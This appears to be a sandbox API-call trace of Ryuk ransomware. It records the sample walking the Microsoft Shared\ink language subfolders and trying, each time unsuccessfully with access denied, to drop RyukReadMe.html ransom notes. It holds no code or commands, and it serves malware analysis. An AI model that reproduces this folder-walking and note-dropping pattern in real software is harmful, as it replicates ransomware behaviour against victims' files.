	[0129.860] SetLastError (dwErrCode=0x0) 
	[0129.860] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0130.523] GetLastError () returned 0x5
	[0130.524] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0130.524] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0130.524] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0130.525] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0130.525] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0130.525] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0130.525] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0130.525] SetLastError (dwErrCode=0x0) 
	[0130.525] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0130.526] GetLastError () returned 0x5
	[0130.526] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0130.526] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0130.526] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1
	[0130.526] SetLastError (dwErrCode=0x0) 
	[0130.526] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0130.527] GetLastError () returned 0x5
	[0130.527] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0130.527] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0130.527] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0130.528] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0130.528] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0130.528] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0130.528] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0130.528] SetLastError (dwErrCode=0x0) 
	[0130.528] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0130.529] GetLastError () returned 0x5
	[0130.529] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0130.529] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0130.529] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b45ecf9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8b45ecf9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0dd120, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x14de00, dwReserved0=0x7c, dwReserved1=0x0, cFileName="journal.dll", cAlternateFileName="")) returned 1
	[0130.529] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1
	[0130.529] SetLastError (dwErrCode=0x0) 
	[0130.529] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0130.529] GetLastError () returned 0x5
	[0130.530] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0130.530] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0130.530] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0130.530] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0130.531] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0130.531] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0130.531] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0130.531] SetLastError (dwErrCode=0x0) 
	[0130.531] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0130.531] GetLastError () returned 0x5
	[0130.531] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0130.531] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0130.532] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1
	[0130.532] SetLastError (dwErrCode=0x0) 
	[0130.532] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0130.532] GetLastError () returned 0x5
	[0130.532] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0130.532] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0130.532] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0130.974] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0130.974] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0130.974] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0130.974] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0130.975] SetLastError (dwErrCode=0x0) 
	[0130.975] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0130.975] GetLastError () returned 0x5
	[0130.975] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0130.975] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0130.975] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1
	[0130.975] SetLastError (dwErrCode=0x0) 
	[0130.976] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0130.976] GetLastError () returned 0x5
	[0130.976] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0130.976] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0130.976] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0130.977] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0130.977] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0130.977] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0130.977] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0130.978] SetLastError (dwErrCode=0x0) 
	[0130.978] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0130.978] GetLastError () returned 0x5
	[0130.978] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0130.978] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0130.978] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e22d6e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x69e22d6e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x3188e7b0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a0200, dwReserved0=0x7c, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1
	[0130.978] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x472c5956, ftCreationTime.dwHighDateTime=0x1ca040e, ftLastAccessTime.dwLowDateTime=0xa4945a00, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x9fcc4285, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1
	[0130.979] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa12394d3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa12394d3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa125f634, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x179c00, dwReserved0=0x7c, dwReserved1=0x0, cFileName="mip.exe", cAlternateFileName="")) returned 1
	[0130.979] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ad46e47, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5ad46e47, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x344e2230, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x609c00, dwReserved0=0x7c, dwReserved1=0x0, cFileName="mraut.dll", cAlternateFileName="")) returned 1
	[0130.979] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66c00201, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x66c00201, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x34eb4c90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x7c, dwReserved1=0x0, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1
	[0130.979] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901e133e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x901e133e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x353c2bb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x105a00, dwReserved0=0x7c, dwReserved1=0x0, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1
	[0130.979] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1
	[0130.979] SetLastError (dwErrCode=0x0) 
